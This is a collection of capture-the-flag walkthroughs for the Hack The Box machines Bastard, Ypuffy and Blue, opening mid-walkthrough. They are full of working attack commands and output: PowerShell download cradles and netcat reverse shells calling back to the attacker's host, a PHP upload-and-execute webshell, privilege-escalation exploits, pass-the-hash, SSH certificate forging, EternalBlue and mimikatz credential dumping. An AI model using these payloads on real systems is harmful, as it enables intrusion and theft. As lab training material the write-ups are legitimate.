Now we have only access to this page, and if you open another page it will still show you 403 error because the cookie is set for this page only, and to set the cookie for all pages we need to set it manually.
Press F12, then click on console and define the cookie:-
document.cookie = “SESSd873f26fc………..6kti6qyA2xkjk110-wOFCKgvGPY”cookie-3
The cookie has been set, now we can move around to other pages.
First click on Modules in the main toolbar of the page adb find _PHP filter
 and check the box and save the configuration.php filter
Click on the Add content tab below the Dashboard on the upper left corner of the page and insided it click on > Basic Pagescontent

 

Now in there we can setup our netcat listener to catch a shell netcat session

 

10.10.10.9/puck.php?cmd=echo IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/puckieshell443.ps1') | powershell -noprofile -
C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.9: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.9] 49404: NO_DATA
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\inetpub\drupal-7.54>whoami
nt authority\iusr
PS C:\inetpub\drupal-7.54>

I  came across this exploit on github https://github.com/Re4son/Chimichurri/

Now that we have a shell we can use the upload function of certutil to uploaded Chimichurri.exe to C:\inetpub\drupal-7.54\

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [07/Mar/2019 18:10:53] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
10.10.10.9 - - [07/Mar/2019 18:17:54] "GET /Chimichurri.exe HTTP/1.1" 200 -
PS C:\inetpub\drupal-7.54> certutil -urlcache -split -f http://10.10.14.20/Chimichurri.exe
**** Online ****
000000 ...
017c00
CertUtil: -URLCache command completed successfully.
PS C:\inetpub\drupal-7.54> dir chim*

Directory: C:\inetpub\drupal-7.54

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/3/2019 7:17 ?? 97280 Chimichurri.exe
PS C:\inetpub\drupal-7.54> ./Chimichurri.exe 10.10.14.20 5555

Next I Started a netcat listener on my host machine to catch root with Chimichurri.exe <my ip> 5555I got another shell but this time as root.

C:\Users\jacco>nc64.exe -lvp 5555
listening on [any] 5555 ...
10.10.10.9: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.9] 62008: NO_DATA
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\inetpub\drupal-7.54>whoami
whoami
nt authority\system

C:\inetpub\drupal-7.54>

Doing Bastard from HTB I had troubles getting reverse shell back from it, but in the end simple solution worked like a charm. This piece of PHP code (from ippSec video)

root@webmail:~/Downloads# cat phpupload.php
<?php
# php file uploader and executer
if (isset($_REQUEST['fupload'])) {
file_put_contents($_REQUEST['fupload'], file_get_contents("http://192.168.178.12/" . $_REQUEST['fupload']));
};

if (isset($_REQUEST['fexec'])) {
echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
};
?>

Serve up nc64.exe from your machine and download it

http://10.10.14.2/phpupload.php?fupload=nc64.exe
c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.2 - - [19/Feb/2019 20:57:03] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
10.10.14.2 - - [19/Feb/2019 21:40:12] "GET /nc64.exe HTTP/1.0" 200 

Execute and catch shell

http://10.10.10.9/phpupload?fexec=nc64.exe 10.10.14.2 1234 -e cmd.exe
Also really cool trick I learned from ippSec video to share files over Samba instead of downloading them! Note: clone recent version from Git
bastard/custom - [master●] » impacket-smbserver hacker $( pwd )
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.9,49316)
[*] AUTHENTICATE_MESSAGE (\,BASTARD)
[*] User \BASTARD authenticated successfully
[*] :::00::4141414141414141
[-] TreeConnectAndX not found MS10-059.EXE
[-] TreeConnectAndX not found MS10-059.EXE
[-] TreeConnectAndX not found MS10-059.EX
[-] TreeConnectAndX not found MS10-059.EX
[*] Disconnecting Share(1:IPC$)
[*] Handle: [Errno 104] Connection reset by peer
[*] Closing down connection (10.10.10.9,49316)
[*] Remaining connections []

... victim ...

c:\Users\dimitris\Desktop>\\10.10.16.10\MS10-059.exe
\\10.10.14.28\MS10-059.exe
just for fun
root@kali:~/htb/bastard/drupalgeddon2# python drupalgeddon2.py -h http://10.10.10.9 -c 'type c:\users\dimitris\desktop\user.txt'
ba2*****1a2

HTB – Ypuffy

Today we are going to solve another CTF challenge “Ypuffy”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Intermediate

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Ypuffy is 10.10.10.107

Let’s start off with our basic nmap command to find out the open ports and services.

c:\Users\jacco>nmap -sV -sC 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-17 20:51 W. Europe Standard Time
Nmap scan report for 10.10.10.107
Host is up (0.039s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: 1h36m15s, deviation: 2h53m13s, median: -3m45s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2019-02-17T14:47:47-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-17 20:47:46
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.51 seconds

As LDAP service is running on port 389, we use nmap script called “ldap-search” to enumerate the target machine and we find the password hash for user “alice1978”.

c:\Users\jacco>nmap -p389 --script=ldap-search 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-17 20:56 W. Europe Standard Time
Nmap scan report for 10.10.10.107
Host is up (0.027s latency).

PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=hackthebox,dc=htb
| dn: dc=hackthebox,dc=htb
| dc: hackthebox
| objectClass: top
| objectClass: domain
| dn: ou=passwd,dc=hackthebox,dc=htb
| ou: passwd
| objectClass: top
| objectClass: organizationalUnit
| dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
| uid: bob8791
| cn: Bob
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| userPassword: {BSDAUTH}bob8791
| uidNumber: 5001
| gidNumber: 5001
| gecos: Bob
| homeDirectory: /home/bob8791
| loginShell: /bin/ksh
| dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
| uid: alice1978
| cn: Alice
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| objectClass: sambaSamAccount
| userPassword: {BSDAUTH}alice1978
| uidNumber: 5000
| gidNumber: 5000
| gecos: Alice
| homeDirectory: /home/alice1978
| loginShell: /bin/ksh
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
| displayName: Alice
| sambaAcctFlags: [U ]
| sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
| sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
| sambaPwdLastSet: 1532916644
| dn: ou=group,dc=hackthebox,dc=htb
| ou: group
| objectClass: top
| objectClass: organizationalUnit
| dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: bob8791
| userPassword: {crypt}*
| gidNumber: 5001
| dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: alice1978
| userPassword: {crypt}*
| gidNumber: 5000
| dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
| sambaDomainName: YPUFFY
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464
| sambaAlgorithmicRidBase: 1000
| objectclass: sambaDomain
| sambaNextUserRid: 1000
| sambaMinPwdLength: 5
| sambaPwdHistoryLength: 0
| sambaLogonToChgPwd: 0
| sambaMaxPwdAge: -1
| sambaMinPwdAge: 0
| sambaLockoutDuration: 30
| sambaLockoutObservationWindow: 30
| sambaLockoutThreshold: 0
| sambaForceLogoff: -1
| sambaRefuseMachinePwdChange: 0
|_ sambaNextRid: 1001

Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds

First, we check the shared directory available on the target machine and find a directory called “alice”. We then access the shared directory and find a file called “my_private_key.ppk”, we download the file to our local system.

root@kali:~/htb/ypuffy# smbmap -u alice1978 -p aad3b435b51404eeaad3b435b51404ee:0B186E661BBDBDCF6047784DE8B9FD8B -d YPUFFY -H 10.10.10.107 -r
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 10.10.10.107...
[+] IP: 10.10.10.107:445 Name: 10.10.10.107 
Disk Permissions
---- -----------
alice READ, WRITE
./ 
dr--r--r-- 0 Sun Feb 17 21:03:33 2019 .
dr--r--r-- 0 Wed Aug 1 05:16:50 2018 ..
fr--r--r-- 1460 Tue Jul 17 03:38:51 2018 my_private_key.ppk
IPC$ NO ACCESS
root@kali:~/htb/ypuffy# smbmap -u alice1978 -p aad3b435b51404eeaad3b435b51404ee:0B186E661BBDBDCF6047784DE8B9FD8B -d YPUFFY -H 10.10.10.107 --download alice/my_private_key.ppk
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 10.10.10.107...
[+] Starting download: alice\my_private_key.ppk (1460 bytes)
[+] File output to: /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk
root@kali:~/htb/ypuffy# cat /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk
PuTTY-User-Key-File-2: ssh-rsa
Encryption: none
Comment: rsa-key-20180716
Public-Lines: 6
AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz
1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux
BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj
h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa
iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx
ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw==
Private-Lines: 14
AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF
VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE
cOZ5mYSy4IIRgPdJKwL6NPnrO+qORSSs9uKVqEdmKLm5lat9dRJVtFlG2tZ7tsma
hRM//9du5MKWWemJlW9PmRGY6shATM3Ow8LojNgnpoHNigB6b/kdDozx6RIf8b1q
Gs+gaU1W5FVehiV6dO2OjHUoUtBME01owBLvwjdV/1Sea/kcZa72TYIMoN1MUEFC
3hlBVcWbiy+O27JzmDzhYen0Jq0AAACBANTBwU1DttMKKphHAN23+tvIAh3rlNG6
m+xeStOxEusrbNL89aEU03FWXIocoQlPiQBr3s8OkgMk1QVYABlH30Y2ZsPL/hp6
l4UVEuHUqnTfEOowVTcVNlwpNM8YLhgn+JIeGpJZqus5JK/pBhK0JclenIpH5M2v
4L9aKFwiMZxfAAAAgQDG+o9xrh+rZuQg8BZ6ZcGGdszZITn797a4YU+NzxjP4jR+
qSVCTRky9uSP0i9H7B9KVnuu9AfzKDBgSH/zxFnJqBTTykM1imjt+y1wVa/3aLPh
hKxePlIrP3YaMKd38ss2ebeqWy+XJYwgWOsSw8wAQT7fIxmT8OYfJRjRGTS74QAA
AIEAiOHSABguzA8sMxaHMvWu16F0RKXLOy+S3ZbMrQZr+nDyzHYPaLDRtNE2iI5c
QLr38t6CRO6zEZ+08Zh5rbqLJ1n8i/q0Pv+nYoYlocxw3qodwUlUYcr1/sE+Wuvl
xTwgKNIb9U6L6OdSr5FGkFBCFldtZ/WSHtbHxBabb0zpdts=
Private-MAC: 208b4e256cd56d59f70e3594f4e2c3ca91a757c9

The file we downloaded was a “Putty Private Key” file, so we use puttygen to convert the file into RSA private key. After converting it into RSA key, we change the permission of the RSA key and use it to login through SSH.

root@kali:~/htb/ypuffy# cp /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk .

root@kali:~/htb/ypuffy# apt-get install putty

root@kali:~/htb/ypuffy# puttygen 10.10.10.107-alice_my_private_key.ppk -O private-openssh -o id_rsa

root@kali:~/htb/ypuffy# chmod 600 id_rsa

root@kali:~/htb/ypuffy# ssh -i id_rsa alice1978@10.10.10.107
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy$ cat user.txt
acb*****aab

Now we check the files with suid bit enabled and find that “doas” is available on the target machine. It is a command utility similar to the “sudo” command. Now we check “/etc/doas.conf” to find what commands we can run. We find that we can run “/usr/bin/ssh-keygen” as user “userca”.

ypuffy$ find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/chpass
/usr/bin/chsh
/usr/bin/doas
/usr/bin/lpr
/usr/bin/lprm
/usr/bin/passwd
/usr/bin/su
/usr/libexec/lockspool
/usr/libexec/ssh-keysign
/usr/local/bin/pwned
/usr/local/libexec/dbus-daemon-launch-helper
/usr/sbin/authpf
/usr/sbin/authpf-noip
/usr/sbin/pppd
/usr/sbin/traceroute
/usr/sbin/traceroute6
/usr/X11R6/bin/Xorg
/sbin/ping
/sbin/ping6
/sbin/shutdown
ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
ypuffy$ cat /etc/httpd.conf
server "ypuffy.hackthebox.htb" {
        listen on * port 80
        location "/userca*" {
                root "/userca"
                root strip 1
                directory auto index
        }
        location "/sshauth*" {
                fastcgi socket "/run/wsgi/sshauthd.socket"
        }
        location * {
                block drop
        }
}
ypuffy$ cat /etc/ssh/sshd_config
#       $OpenBSD: sshd_config,v 1.102 2018/02/16 02:32:40 djm Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile      .ssh/authorized_keys

#AuthorizedPrincipalsFile none

AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody

TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
--snip--
#       PermitTTY no
#       ForceCommand cvs server
ypuffy$

Énumerating more

ypuffy$ getent passwd |grep -v ^_
root:*:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1:The devil himself:/root:/sbin/nologin
operator:*:2:5:System &:/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
build:*:21:21:base and xenocara build:/var/empty:/bin/ksh
sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin
www:*:67:67:HTTP Server:/var/www:/sbin/nologin
nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin
appsrv:*:1000:1000:Application Server:/var/appsrv:/sbin/nologin
alice1978:*:5000:5000:Alice:/home/alice1978:/bin/ksh
ypuffy$ curl 'http://127.0.0.1/sshauth?type=keys&username=alice1978'
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716

we requested keys for root user and get no response but we are successfully able to get root user’s principal.

ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=root" 
3m3rgencyB4ckd00r

As we have the root user’s principal, we can generate SSH keys and sign them with root’s principal. Doing so will allow us to login through SSH as root. Now we know we can run ssh-keygen to generate SSH keys but first, we need a certificate to sign the SSH key. We enumerate the machine to find a certificate and find one inside /home/userca directory.

First, we generate SSH keys and copy them into the /tmp/puckie directory. Then we sign the keys as userca to read the certificate inside /home/userca/ca.

ypuffy$ ssh-keygen -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in root.
Your public key has been saved in root.pub.
The key fingerprint is:
SHA256:eX4CmLxRPoydlUfYVNVxt8Tm/zUGLgEBgK4nrVZ9F1c alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[RSA 2048]----+
| .......+o.o+*|
| . ..o.E.o=|
| . . + o o. |
| . . O = + . . |
| o . * S + o . .|
| o + . + * . . oo|
| = o . o o . +|
| o o .|
|. |
+----[SHA256]-----+
ypuffy$ ls -la
total 16
drwxrwxrwx 2 alice1978 wheel 512 Feb 19 06:04 .
drwxrwxrwt 7 root wheel 512 Feb 19 05:50 ..
-rw------- 1 alice1978 wheel 1679 Feb 19 06:04 root
-rw-r--r-- 1 alice1978 wheel 413 Feb 19 06:04 root.pub
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I root root
Signed user key root-cert.pub: id "root" serial 0 for 3m3rgencyB4ckd00r valid forever
ypuffy$ ls -la
total 20
drwxrwxrwx  2 alice1978  wheel   512 Feb 19 06:22 .
drwxrwxrwt  7 root       wheel   512 Feb 19 06:12 ..
-rw-------  1 alice1978  wheel  1675 Feb 19 06:21 root
-rw-r--r--  1 userca     wheel  1526 Feb 19 06:44 root-cert.pub
-rw-r--r--  1 alice1978  wheel   413 Feb 19 06:21 root.pub
ypuffy$ ssh root@localhost -i root
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy# whoami                                                                                                  
root
ypuffy# cat /root/root.txt                                                                                       
126*****57f

After signing the RSA keys, we use the RSA key to login through SSH as the root user.

On October 25th, 2018 (after the release of this box), a vulnerability impacting Xorg server before 1.20.3 was disclosed. It allowed privilege escalation on OpenBSD 6.3 and 6.4. The CVE-2018–14665 was assigned.

$ uname -a
OpenBSD ypuffy.hackthebox.htb 6.3 GENERIC#100 amd64

Upload the following exploit on the server and run it to get root: https://www.exploit-db.com/exploits/45742.

ypuffy$ cd /tmp
ypuffy$ vi puckie.sh 
ypuffy$ chmod +x puckie.sh
ypuffy$ ./puckie.sh 
./puckie.sh[1]: it: not found
raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron
Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>

X.Org X Server 1.19.6
Release Date: 2017-12-20
X Protocol Version 11, Revision 0
Build Operating System: OpenBSD 6.3 amd64 
Current Operating System: OpenBSD ypuffy.hackthebox.htb 6.3 GENERIC#100 amd64
Build Date: 24 March 2018 02:38:24PM

Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "crontab", Time: Sun Feb 17 15:29:00 2019
(==) Using system config directory "/usr/X11R6/share/X11/xorg.conf.d"
(EE) Segmentation fault at address 0x8
(EE) 
Fatal server error:
(EE) Caught signal 11 (Segmentation fault). Server aborting
(EE) 
(EE) 
Please consult the The X.Org Foundation support 
at http://wiki.x.org
for help. 
(EE) Please also check the log file at "crontab" for additional information.
(EE) 
(EE) Server terminated with error (1). Closing log file.

Be patient for a couple of minutes...

Don't forget to cleanup and run crontab -e to reload the crontab.
-rw-r--r-- 1 root wheel 4813 Feb 17 15:29 /etc/crontab
-rw-r--r-- 1 root wheel 4814 Feb 14 16:00 /etc/crontab.old
-rwsrwxrwx 1 root wheel 7257 Feb 17 15:31 /usr/local/bin/pwned
ypuffy# 
ypuffy# whoami
root
ypuffy# cat /root/root.txt                                                     
126*****57f

Author : Jacco Straathof

HTB – Blue

Today we are going to solve another CTF challenge “Blue” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Blue lab.

Level: Beginners

Task: find user.txt and root.txt file in victim’s machine.

Since these labs are online available therefore they have static IP and IP of blue is 10.10.10.40 so let’s begin with nmap port enumeration.

root@kali:~/htb/blue# nmap -sC -sC 10.10.10.40
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 21:19 CET
Nmap scan report for 10.10.10.40
Host is up (0.053s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Host script results:
|_clock-skew: mean: -3m45s, deviation: 1s, median: -3m46s
| smb-os-discovery: 
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2019-02-15T20:16:20+00:00
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2019-02-15 21:16:21
|_ start_date: 2019-02-11 03:48:32

Nmap done: 1 IP address (1 host up) scanned in 35.19 seconds

Great!! Form this result I can conclude username can be “haris” moreover smb 2.02 can be exploit by eternal blue vulnerability.

Let confirm eternal blue vulnerability in victims system using namp script

root@kali:~/htb/blue# nmap --script vuln -p445 10.10.10.40
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 21:20 CET
Nmap scan report for 10.10.10.40
Host is up (0.041s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
| 
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 44.83 seconds

Then I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
rhost => 10.10.10.40
msf exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.11:4444 
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.40:49159) at 2019-02-15 21:24:30 +0100
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

C:\Windows\system32>whoami
whoami
nt authority\system

Inside c:\Users\Administrator \Desktop I found root.txt file.

meterpreter > load kiwi
Loading extension kiwi…

.#####. mimikatz 2.1.1 20170608 (x64/windows)
.## ^ ##. “A La Vie, A L’Amour”
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ Ported to Metasploit by OJ Reeves `TheColonial` * * */

Success.

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
wdigest credentials
===================

Username Domain Password
——– —— ——–
(null) (null) (null)
HARIS-PC$ WORKGROUP (null)

Manual
Exploit: ​ https://github.com/worawit/MS17-010
A shell can also be achieved using the above PoC. Modifying ​ zzz_exploit.py​ is relatively easy.
Using ​ \ \ as the username works in this case, as the server is using the default configuration.
A slight modification to the ​ smb_pwn​ method is also required, as by default it only creates a text
file in the root of the drive. Adding the following lines will copy a local binary to the target and
execute it.

Before we can perform this exploit, we need an open SMB share on this machine. First, we need to add the computer name in our host file and then scan for open SMB shares.

vi /etc/hosts

root@kali:~/htb/blue# smbclient -L \\10.10.10.40 -N

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Share Disk 
Users Disk 
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
root@kali:~/htb/blue# smbclient \\\\haris-pc\\Users
Enter WORKGROUP\root's password: 
